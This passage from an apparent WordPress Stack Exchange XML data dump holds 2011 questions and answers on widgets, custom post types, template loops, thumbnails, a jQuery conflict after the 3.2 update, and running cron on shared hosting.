this widget on: &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;label&amp;gt;&amp;lt;input value=&quot;on&quot; type=&quot;checkbox&quot; name=&quot;noHome&quot; id=&quot;noHome&quot;&amp;lt;?php if(isset($instance['noHome'])) echo $checked ?&amp;gt; /&amp;gt;Home Page&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt; &#xA;        &amp;lt;li&amp;gt;&amp;lt;label&amp;gt;&amp;lt;input value=&quot;on&quot; type=&quot;checkbox&quot; name=&quot;noPosts&quot; id=&quot;noPosts&quot;&amp;lt;?php if(isset($instance['noPosts'])) echo $checked ?&amp;gt; /&amp;gt; Posts&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;label&amp;gt;&amp;lt;input value=&quot;on&quot; type=&quot;checkbox&quot; name=&quot;noPages&quot; id=&quot;noPages&quot;&amp;lt;?php if(isset($instance['noPages'])) echo $checked ?&amp;gt; /&amp;gt; Pages&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;label&amp;gt;&amp;lt;input value=&quot;on&quot; type=&quot;checkbox&quot; name=&quot;noCats&quot; id=&quot;noCats&quot;&amp;lt;?php if(isset($instance['noCats'])) echo $checked ?&amp;gt; /&amp;gt; Categories&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Callback function is below. &lt;code&gt;$instance&lt;/code&gt; doesn't contain the custom form values, only the default widget values (text and content). How do I append my custom options to &lt;code&gt;$instance&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_filter('widget_update_callback', 'wse_widget_context_callback');&#xA;&#xA;function wse_widget_context_callback($instance){&#xA;    echo 'instance: '.$instance.'&amp;lt;br/&amp;gt;'; // returns array but no custom form values&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6620" LastEditorUserId="6691" LastEditorDisplayName="" LastEditDate="2011-07-06T02:07:14.873" LastActivityDate="2011-07-06T02:07:14.873" Title="How to pass custom options from widget form to widget update callback?" Tags="&lt;plugin-development&gt;&lt;widgets&gt;" />
  <row Id="21991" PostTypeId="1" CreationDate="2011-07-05T03:21:55.890" Score="0" ViewCount="16" Body="&lt;p&gt;I've got a PHP app that I want to display as a subfolder of a subdomain in my WordPress Network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given it's complexity, I can't just import it into WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;site1.example.com/sub&lt;/code&gt; =&gt; &lt;code&gt;404&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;site2.example.com/sub&lt;/code&gt; =&gt; &lt;code&gt;My PHP app&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is such a thing possible? And if so, where do I put the folder?&lt;/p&gt;&#xA;" OwnerUserId="6741" LastActivityDate="2011-07-05T03:21:55.890" Title="Is there a way to display a static folder while using WP Network &amp; subdomains?" Tags="&lt;multisite&gt;&lt;subdomains&gt;&lt;static&gt;" />
  <row Id="21992" PostTypeId="1" CreationDate="2011-07-05T03:41:01.787" Score="0" ViewCount="35" Body="&lt;p&gt;What I'm looking to do is to create multiple upload folders within WordPress.  I'm not sure if it is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to direct where uploads are placed once they are uploaded. For instance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want photos uploaded to &lt;em&gt;wp-content / uploads / photos&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want videos uploaded to &lt;em&gt;wp-content / uploads / videos&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want general images uploaded to &lt;em&gt;wp-content / uploads / general&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible without hacking WP, or do I need to manually add files using FTP to get what I want?&lt;/p&gt;&#xA;" OwnerUserId="6742" LastActivityDate="2011-07-05T03:41:01.787" Title="Multiple Uploads Folders" Tags="&lt;uploads&gt;&lt;media&gt;&lt;media-upload&gt;" />
  <row Id="21993" PostTypeId="1" CreationDate="2011-07-05T04:08:07.067" Score="0" ViewCount="18" Body="&lt;p&gt;I would like to access, test and write data in a mySQL database using a visual basic sub routine from within a wordpress website. &#xA;I would also like to use this data in a graphic presentation using a visual basic form in a wordpress website.&#xA;Please tell me how.&lt;/p&gt;&#xA;" OwnerUserId="6743" LastActivityDate="2011-07-05T04:08:07.067" Title="Visual basic and mySQL in Wordpress" Tags="&lt;mysql&gt;" CommentCount="1" />
  <row Id="21994" PostTypeId="2" ParentId="21984" CreationDate="2011-07-05T04:20:01.463" Score="1" ViewCount="" Body="&lt;p&gt;take a look on &lt;a href=&quot;http://wordpress.org/extend/plugins/embed-facebook/&quot; rel=&quot;nofollow&quot;&gt;Embed Facebook&lt;/a&gt;. Just paste the URL of a facebook album, photo, event, video, page, group, or note in a WordPress post/page, the plugin will embed it for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For one more plugin is &lt;a href=&quot;http://tantannoodles.com/toolkit/facebook-photos/&quot; rel=&quot;nofollow&quot;&gt;Facebook Photos&lt;/a&gt;.:)&lt;/p&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="5669" LastEditorDisplayName="" LastEditDate="2011-07-05T07:19:33.743" LastActivityDate="2011-07-05T07:19:33.743" />
  <row Id="21995" PostTypeId="2" ParentId="21859" CreationDate="2011-07-05T04:21:58.183" Score="0" ViewCount="" Body="&lt;p&gt;Thanks.  I ended up deleting them through PHPMyAdmin.  They were all in the same category.&lt;/p&gt;&#xA;" OwnerUserId="3206" LastActivityDate="2011-07-05T04:21:58.183" />
  <row Id="21996" PostTypeId="2" ParentId="21752" CreationDate="2011-07-05T04:33:45.390" Score="2" ViewCount="" Body="&lt;p&gt;Ah, realized I needed to hook this into the init(). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;SOLUTION: I created a function in functions.php that would set and check the cookie. for this to work properly, after defining the function, outside the function call this: add_action('init', 'function-name'); – Atticus&lt;/p&gt;&#xA;" OwnerUserId="6744" LastActivityDate="2011-07-05T04:33:45.390" />
  <row Id="21997" PostTypeId="1" CreationDate="2011-07-05T04:36:03.283" Score="0" ViewCount="20" Body="&lt;p&gt;I'd like to reduce the height of the default text widgets to help prevent scrolling. Is there a quick method to do it from functions.php?&lt;/p&gt;&#xA;" OwnerUserId="6620" LastEditorUserId="6620" LastEditorDisplayName="" LastEditDate="2011-07-05T04:43:03.057" LastActivityDate="2011-07-05T04:43:03.057" Title="How to change the default height of Text widgets?" Tags="&lt;theme-development&gt;" />
  <row Id="21998" PostTypeId="1" AcceptedAnswerId="22430" CreationDate="2011-07-05T04:40:09.053" Score="0" ViewCount="29" Body="&lt;p&gt;I'm testing different layouts for my admin pages, and the easiest way I found to determine which layout to load is with URL parameters. One of those parameters is &quot;fullscreen=1&quot; which hides the admin menu, for instance. The problem is, whenever I save a post / custom post type by submitting a form, WordPress will redirect me without preserving my parameter, thus breaking my layout by adding back the admin menu...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="5552" LastActivityDate="2011-07-08T18:17:22.173" Title="Preserve custom URL parameter after saving post" Tags="&lt;customization&gt;&lt;admin&gt;" AnswerCount="1" />
  <row Id="21999" PostTypeId="2" ParentId="21959" CreationDate="2011-07-05T04:57:16.850" Score="1" ViewCount="" Body="&lt;p&gt;try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//first get all agents&#xA;$agents = new WP_Query(array('post_type' =&amp;gt; 'agent', 'posts_per_page' =&amp;gt; -1, 'order' =&amp;gt; 'ASC', 'orderby' =&amp;gt; 'title'));&#xA;//then just print out the dropdown:&#xA;if ($agents-&amp;gt;have_posts()){&#xA;    echo '&amp;lt;select id=&quot;agent&quot;&amp;gt;';&#xA;    while ($agents-&amp;gt;have_posts()){&#xA;        $agents-the_post();&#xA;        echo '&amp;lt;option value=&quot;'.get_permalink($post-&amp;gt;ID).'&quot;&amp;gt;'.get_the_title($post-&amp;gt;ID).'&amp;lt;/option&amp;gt;';&#xA;    }&#xA;    ?&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    &amp;lt;!--&#xA;        var dropdown = document.getElementById(&quot;agent&quot;);&#xA;        function onCatChange() {&#xA;            if ( dropdown.options[dropdown.selectedIndex].value &amp;gt; 0 ) {&#xA;                location.href = dropdown.options[dropdown.selectedIndex].value;&#xA;            }&#xA;        }&#xA;        dropdown.onchange = onCatChange;&#xA;    --&amp;gt;&#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-05T04:57:16.850" CommentCount="7" />
  <row Id="22000" PostTypeId="2" ParentId="20144" CreationDate="2011-07-05T06:15:22.727" Score="0" ViewCount="" Body="&lt;p&gt;Discovered that the db files I copied over from another machine had incorrect ownership. Once I &lt;code&gt;chown -R mysql:mysql myblogdbdirectory&lt;/code&gt; and restarted MySQL, the database upgrade worked.&lt;/p&gt;&#xA;" OwnerUserId="2088" LastActivityDate="2011-07-05T06:15:22.727" />
  <row Id="22001" PostTypeId="1" AcceptedAnswerId="22148" CreationDate="2011-07-05T06:18:20.877" Score="1" ViewCount="78" Body="&lt;p&gt;I am grabbing an image that is uploaded to that post working with this function: &#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image_src&quot; rel=&quot;nofollow&quot;&gt;wp_get_attachment_image_src&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $images = get_children( array( 'post_parent' =&amp;gt; $post-&amp;gt;ID, 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'orderby' =&amp;gt; 'menu_order', 'order' =&amp;gt; 'ASC', 'numberposts' =&amp;gt; 2 ) );&#xA;    if ( $images ) :&#xA;            $total_images = count( $images );&#xA;            $image = array_shift( $images );&#xA;            $image_img_tag = wp_get_attachment_image_src( $image-&amp;gt;ID, 'full' ); &#xA;                ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;two_images&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;&amp;lt;?php echo $image_img_tag[0] ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I grab the first two images that are uploaded to a post?  I guess I need help with a foreach statement.. and limit it to two.  I tried this but it just printed the same first image over and over.. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($image as $images) { &#xA;         echo &quot;&amp;lt;img src='$image_img_tag[0]'&amp;gt;&quot;;&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IF I echo &lt;code&gt;$total_images&lt;/code&gt; then I get the correct count of 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pastie.org/2171902&quot; rel=&quot;nofollow&quot;&gt;Here is the paste of the page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2661" LastEditorUserId="2661" LastEditorDisplayName="" LastEditDate="2011-07-06T11:47:58.190" LastActivityDate="2011-07-06T12:09:11.713" Title="How grab first two image attachments?" Tags="&lt;php&gt;&lt;attachments&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="22002" PostTypeId="1" CreationDate="2011-07-05T06:29:43.617" Score="1" ViewCount="70" Body="&lt;p&gt;I know you guys have seen hundreds if not thousands of 404 questions. &#xA;I assure you I have done everything in my power.&#xA; 1. updates permalinks&#xA; 2. using /%post_id%/%postname%/ for structure&#xA; 3. have been working on a clean 3.2 install&#xA; 4. no plugins or extra functions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now not all archives are broken &#xA;for example this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php wp_get_archives( array( 'type' =&amp;gt; 'monthly' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;works fine, the resulting url structure is for example, site.com/blog/date/2011/06/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however this is not what i am trying to get to work&#xA;what does not work is this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;archive-list&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;$months = $wpdb-&amp;gt;get_results(&quot;SELECT DISTINCT MONTH( post_date ) AS month , YEAR( post_date ) AS year, COUNT( id ) as post_count FROM $wpdb-&amp;gt;posts WHERE post_status = 'publish' and post_date &amp;lt;= now( ) GROUP BY month , year ORDER BY post_date DESC&quot;);&#xA;foreach($months as $month) : ?&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php bloginfo('url') ?&amp;gt;/&amp;lt;?php echo $month-&amp;gt;year; ?&amp;gt;/&amp;lt;?php echo date(&quot;m&quot;, mktime(0, 0, 0, $month-&amp;gt;month, 1, $month-&amp;gt;year)) ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo date(&quot;F&quot;, mktime(0, 0, 0, $month-&amp;gt;month, 1, $month-&amp;gt;year)) ?&amp;gt; &amp;lt;?php echo $month-&amp;gt;year ?&amp;gt; - &amp;lt;span class=&quot;archive-list-small&quot;&amp;gt;&amp;lt;?php echo $month-&amp;gt;post_count; if ($month-&amp;gt;post_count&amp;gt; 1 ) { echo &quot; posts&quot;; } else { echo &quot; post&quot;; }?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the resulting url structure is  site.com/blog/2011/06/ , no &lt;em&gt;date&lt;/em&gt;, even if i add date that does not change anything, i still get 404, yes i have updated my permalinks and put it to default if that makes a difference and back and back to default and over the menu to mars as well&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to make things worse&#xA;i get 404 on the second page of the regular&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_get_archives( array( 'type' =&amp;gt; 'monthly' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can someone please test this out, one more thing the quarried items are custom posts types&lt;/p&gt;&#xA;" OwnerUserId="1824" LastEditorUserId="1824" LastEditorDisplayName="" LastEditDate="2011-07-05T07:10:34.910" LastActivityDate="2011-07-05T07:10:34.910" Title="Date archive shooting 404 when months and days are quarried" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;customization&gt;&lt;archive&gt;&lt;custom-post-type-archives&gt;" CommentCount="2" FavoriteCount="1" />
  <row Id="22003" PostTypeId="1" CreationDate="2011-07-05T07:18:56.823" Score="0" ViewCount="18" Body="&lt;p&gt;After the recent Google Panda update Im wanting to noindex a lot of old articles. Im using RobotsMeta plugin for noindex single articles, but I want to noindex every article from before January 1st for example. This is over 5000 articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best want to noindex these old articles, but show the new ones? &lt;/p&gt;&#xA;" OwnerUserId="6746" LastActivityDate="2011-07-05T07:18:56.823" Title="NoIndex Bulk Batches of Old Articles" Tags="&lt;plugins&gt;&lt;search&gt;&lt;noindex&gt;" />
  <row Id="22006" PostTypeId="1" AcceptedAnswerId="22026" CreationDate="2011-07-05T07:50:55.487" Score="0" ViewCount="65" Body="&lt;p&gt;Hi all I have this template page which get the page's post and then a list of posts from the category news.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA; * Template Name: News &amp;amp; Info&#xA; */&#xA;&#xA;get_header();&#xA;?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;div id=&quot;cLeft&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;    if (function_exists('yoast_breadcrumb')) {&#xA;        yoast_breadcrumb('&amp;lt;p id=&quot;breadcrumb&quot;&amp;gt;', '&amp;lt;/p&amp;gt;');&#xA;    }&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt; &#xA;&#xA;            &amp;lt;div id=&quot;title&quot;&amp;gt;&#xA;                &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div id=&quot;freetext&quot;&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php endwhile;&#xA;    endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt; &#xA;            &amp;lt;?php query_posts('cat=32'); ?&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;div class=&quot;postDescr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile;&#xA;    endif; ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;cRight&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;News &amp;amp;amp; Info:&amp;lt;/h2&amp;gt;&#xA;&#xA;    &amp;lt;ul id=&quot;submenu&quot;&amp;gt;&#xA;        &amp;lt;?php wp_list_pages('hide_empty=0&amp;amp;child_of=26&amp;amp;title_li=&amp;amp;sort_column=menu_order'); ?&amp;gt; &#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second loop gets in infinite loop and I don't know what am I doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="6452" LastActivityDate="2011-07-05T12:21:27.213" Title="Why this code causes infinite loop?" Tags="&lt;query-posts&gt;&lt;page-template&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="22007" PostTypeId="2" ParentId="19750" CreationDate="2011-07-05T08:22:22.773" Score="1" ViewCount="" Body="&lt;p&gt;I had to do that, but only in some categories in my site. &#xA;This was the code I used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if (is_category('3') ||  is_category('5') ) {&#xA; $category = get_the_category();&#xA; $posts =  query_posts('showposts=1&amp;amp;cat='.$category[0]-&amp;gt;cat_ID);&#xA; if(have_posts()) :&#xA;    wp_redirect(get_permalink($post-&amp;gt;ID));&#xA;endif;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, if you need to do it in all your categories, you can remove the condition.&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-07-05T08:22:22.773" />
  <row Id="22008" PostTypeId="2" ParentId="22006" CreationDate="2011-07-05T08:24:31.087" Score="0" ViewCount="" Body="&lt;p&gt;I agree with One Trick Pony.. what if you try this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt; &#xA;            &amp;lt;div id=&quot;title&quot;&amp;gt;&#xA;                &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div id=&quot;freetext&quot;&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile;&#xA;    endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php $the_query = new WP_Query('cat=32'); //or category_name=&#xA;    while ($the_query-&amp;gt;have_posts()) : $the_query-&amp;gt;the_post();?&amp;gt;&#xA;            &amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile;&#xA;        wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2661" LastActivityDate="2011-07-05T08:24:31.087" />
  <row Id="22009" PostTypeId="1" AcceptedAnswerId="22105" CreationDate="2011-07-05T08:40:23.640" Score="0" ViewCount="484" Body="&lt;p&gt;This morning I updated my wp, and after that few of the jquery of my site is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using woo themes premium newspaper theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the upgrade, the categories drop down menu(superfish menu) stopped working.&#xA;I was using lightbox plugin for images, that stopped working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I deactivated all plugins and checked the theme, but still the superfish was not working,&#xA;I updated the themes framework with latest, but still no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can any one help me in this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My website URL is:http://webstutorial.com/&#xA;and the theme which I am using is this:http://demo.woothemes.com/?name=premiumnews&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-06T00:35:26.467" LastActivityDate="2011-07-09T15:43:53.290" Title="WooThemes PremiumNews Theme jQuery Conflict with WordPress 3.2" Tags="&lt;themes&gt;&lt;jquery&gt;" AnswerCount="6" CommentCount="3" FavoriteCount="1" />
  <row Id="22011" PostTypeId="1" CreationDate="2011-07-05T09:05:10.400" Score="0" ViewCount="32" Body="&lt;p&gt;I’ve created a custom post type for employees in a company with some fields they have to fill (like E-mail, phone, etc.) and a select box which takes some values from another custom post type called “company”.&#xA;I’ve disabled / removed the editor for the employee post type but now I’m having trouble listing them in the overview because each “employee” misses a title (post_title).&#xA;How can I set the post_title for an employee to be equal to the custom field “Name”?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a lot of code working so I’ll only show the part where I’m saving my data for each employee:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($meta_box['fields'] as $field) {&#xA;    if(isset($_POST[$field['id']])) {&#xA;        if(!add_post_meta($post_id, $field['id'], $_POST[$field['id']], true)) update_post_meta($post_id, $field['id'], $_POST[$field['id']]);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have an array with all the data and then save with the right values for each field but can I here say, that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;If($field[‘id’] == ‘emp_name’) {&#xA;    Set($post_title = $field[‘id’]); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or something like that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or suggestions would be very much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&#xA;- Mestika&lt;/p&gt;&#xA;" OwnerUserId="6751" LastActivityDate="2011-07-05T09:05:10.400" Title="Custom Post Type: Set post_title equal to a custom post type field" Tags="&lt;custom-post-types&gt;&lt;post-meta&gt;&lt;update-post-meta&gt;" />
  <row Id="22012" PostTypeId="1" CreationDate="2011-07-05T09:09:28.947" Score="0" ViewCount="21" Body="&lt;p&gt;What I was looking for (I've been searching several times with no luck) is the ability to have several ratings in the same post. not exactly multirating from GD Star which lets you have several ratings in the same rater.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have a &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; and each of the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; could have a rater for the users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest thing I've found (which works) is: &lt;a href=&quot;http://duncsweb.com/2009/11/25/how-to-get-multiple-ratings-systems-on-one-wordpress-pagepost-with-colorrating/&quot; rel=&quot;nofollow&quot;&gt;http://duncsweb.com/2009/11/25/how-to-get-multiple-ratings-systems-on-one-wordpress-pagepost-with-colorrating/&lt;/a&gt; However I have some problems with the display, I emailed the author and he doesn't continue with the Script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any solution I'm missing? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6752" LastActivityDate="2011-07-05T09:09:28.947" Title="Multiple ratings in the same post?" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;multiple&gt;&lt;rating&gt;" CommentCount="1" />
  <row Id="22013" PostTypeId="1" CreationDate="2011-07-05T09:27:29.903" Score="0" ViewCount="57" Body="&lt;p&gt;I'm trying to get the post thumbnail in the sidebar which is in essence outside the loop.&lt;br&gt;&#xA;For some reason it seems impossible!!!&lt;br&gt;&#xA;I have tried all kinds of ways.&lt;br&gt;&#xA;Here is the wirking code: (I have edited the code now that I found it)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;$post_id = $wp_query-&amp;gt;post-&amp;gt;ID;&#xA;&#xA;if (has_post_thumbnail( $post_id ) ):&#xA;    $image_id = get_post_thumbnail_id($post_id);&#xA;    $imazz = wp_get_attachment_image_src($image_id,'medium',true);&#xA;    $image_url = $imazz[0];&#xA;    $image_url = '&amp;lt;img src=&quot;'.$image_url.'&quot; alt=&quot;'.the_title().'&quot; /&amp;gt;';&#xA;else :&#xA;    php $image_url = '&amp;lt;img src=&quot;'.get_template_directory_uri().'/images/logo-pic-inv.jpg&quot; width=&quot;500&quot; height=&quot;333&quot; alt=&quot;'.__(&quot;Δημοσιεύσεις&quot;,&quot;44db&quot;).'&quot; /&amp;gt;';&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also tried using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_the_post_thumbnail($post-&amp;gt;ID); // using the post id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_the_post_thumbnail($post_id); // using the fetched post id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any help would be very much appreciated.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6379" LastEditorUserId="6379" LastEditorDisplayName="" LastEditDate="2011-07-05T09:38:14.810" LastActivityDate="2011-09-03T20:40:58.117" Title="Post thumbnail outside the loop" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="22014" PostTypeId="1" AcceptedAnswerId="22925" CreationDate="2011-07-05T09:46:43.180" Score="0" ViewCount="353" Body="&lt;p&gt;Maybe it's just the site I'm running but has the 3.2 update removed the ability to select a page template in the page attributes when adding a new page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's kinda essential unless anyone knows a way around it?&lt;/p&gt;&#xA;" OwnerUserId="5415" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-05T10:42:16.540" LastActivityDate="2011-07-25T19:06:50.897" Title="Wordpress 3.2 - removed ability to select a page template in the page attributes when adding a new page?" Tags="&lt;page&gt;&lt;page-template&gt;&lt;page-attributes&gt;" AnswerCount="2" CommentCount="7" />
  <row Id="22016" PostTypeId="1" AcceptedAnswerId="22046" CreationDate="2011-07-05T09:52:30.713" Score="1" ViewCount="85" Body="&lt;p&gt;My hosting company infrom me that they do not allow loopback connections, which are required to run the following cron task on my server. I need to run a cron task for this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tribulant.com/plugins/view/1/wordpress-newsletter-plugin&quot; rel=&quot;nofollow&quot;&gt;http://tribulant.com/plugins/view/1/wordpress-newsletter-plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wget -O /dev/null &quot;http://localhost/?wpmlmethod=docron&amp;amp;auth=XXXXXXXX&quot; &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They provide the following code which I have adapted for my hosting (path to wget being /usr/bin/php I blieve).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried letting wp-cron.php do the job itself, and it fails, I've also tried making a simple server cron job that manually fires wp-cron.php, this worked once and didn't fire again. I'm now testing the latter with a longer schedule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ahhh! Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4896" LastActivityDate="2011-07-05T14:02:18.960" Title="WP CRON on shared hosting that does not allow loopback connections?" Tags="&lt;cron&gt;&lt;wp-cron&gt;" AnswerCount="1" 